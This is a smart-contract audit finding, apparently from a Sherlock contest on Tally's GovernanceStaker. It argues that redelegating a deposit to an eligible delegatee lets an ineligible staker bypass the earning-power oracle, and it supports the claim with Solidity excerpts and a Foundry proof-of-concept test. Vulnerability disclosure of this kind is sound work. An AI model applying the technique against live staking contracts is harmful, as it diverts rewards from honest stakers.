Skip to content

Latest commit

 

History

History
147 lines (109 loc) · 4.63 KB

056.md

File metadata and controls

147 lines (109 loc) · 4.63 KB

Able Boysenberry Koala

High

Oracle Earning Score Can Be Bypassed, Allowing Ineligible Users To Receive Rewards

Summary

When a inelegible user with a score below the threshold, alters the delegatee to another user that is elegible, it will calculate his new earning power based on the score of the other delegatee. Meaning return the balance of the deposit as earning power OR if that delegatee is inelegible return 0. code

uint256 _newEarningPower =
      earningPowerCalculator.getEarningPower(deposit.balance, deposit.owner, _newDelegatee);
  function getEarningPower(uint256 _amountStaked, address, /* _staker */ address _delegatee)
    external
    view
    returns (uint256)
  {
    if (_isOracleStale() || isOraclePaused) return _amountStaked;
    return _isDelegateeEligible(_delegatee) ? _amountStaked : 0;
  }

Afterwards it sets the new earning power to this deposit.

deposit.earningPower = _newEarningPower.toUint96();

Additionally this earning power cannot be bumped down. due to the condition _newEarningPower == deposit.earningPower in bumpEarningPower being true causing a revert.

Vulnerability Detail

While a user is not elegible to receive rewards, it can delegate to another user to receive rewards which undermines entire functionality of a earning score.

Impact

Other users receive lower rewards while a person that in not elegible receive rewards.

Code Snippet

https://github.com/sherlock-audit/2024-11-tally/blob/b125d1f2b52170a3789b1060a52fc6609e6e2262/staker/src/GovernanceStaker.sol#L624-L648

POC

Add the following contract to the existing test file GovernanceStaker.t.sol and run it with forge test --mt testByPassOracle

contract JoeMamaTest is GovernanceStakerTest {

    address owner = makeAddr("owner");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address joe = makeAddr("joe");

    address scoreOracle = makeAddr("scoreOracle");
    uint256 staleOracleWindow = 7 days;
    address oraclePauseGuardian = makeAddr("oraclePauseGuardian");
    uint256 delegateeScoreEligibilityThreshold = 400;
    uint256 updateEligibilityDelay = 1 days;

   BinaryEligibilityOracleEarningPowerCalculator calculator = new BinaryEligibilityOracleEarningPowerCalculator(
      owner,
      scoreOracle,
      staleOracleWindow,
      oraclePauseGuardian,
      delegateeScoreEligibilityThreshold,
      updateEligibilityDelay
    );

  function testByPassOracle(
   
  ) public {

    _mintGovToken(alice, 1e18);
    _mintGovToken(bob, 1e18);
    _mintGovToken(joe, 1e18);

    rewardToken.mint(rewardNotifier, 1e18);

    vm.prank(admin);
    govStaker.setEarningPowerCalculator(address(calculator));

    // set alice to elegible 
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(alice, 500);

    // set bob to elegible
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(bob, 500);

    // set joe is not elegible 
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(joe, 0);

    // have an active oracle.
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(address(0), 0);

    GovernanceStaker.DepositIdentifier _depositIdBob = _stake(bob, 1e18, bob);
    GovernanceStaker.DepositIdentifier _depositIdAlice  = _stake(alice, 1e18, alice);
    GovernanceStaker.DepositIdentifier _depositIdJoe = _stake(joe, 1e18, joe);

    // distribute 1e18 over the 1 month period.
    vm.startPrank(rewardNotifier);
    rewardToken.transfer(address(govStaker), 1e18);
    govStaker.notifyRewardAmount(1e18);
    vm.stopPrank();

    // have an active oracle.
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(address(0), 0);

    vm.prank(joe);
    govStaker.alterDelegatee(_depositIdJoe,bob);

    skip(30 days);
    vm.roll(block.timestamp + 30);
    
     // have an active oracle.
    vm.prank(scoreOracle);
    calculator.updateDelegateeScore(address(0), 0);

    vm.prank(bob);
    uint256 rewardBob = govStaker.claimReward(_depositIdBob);
    assertEq(rewardBob,333333333333333333);

    vm.prank(alice);
    uint256 rewardALice = govStaker.claimReward(_depositIdAlice);
    assertEq(rewardALice, 333333333333333333);

    // this should be 0 because Joe has no voting power.
    vm.prank(joe);
    uint256 rewardJoe = govStaker.claimReward(_depositIdJoe);
    assertEq(rewardJoe, 333333333333333333);
  
  }
}

Tool used

Manual Review

Recommendation

To prevent users from bypassing the oracle it should not increase the deposits earning power while altering delegatee.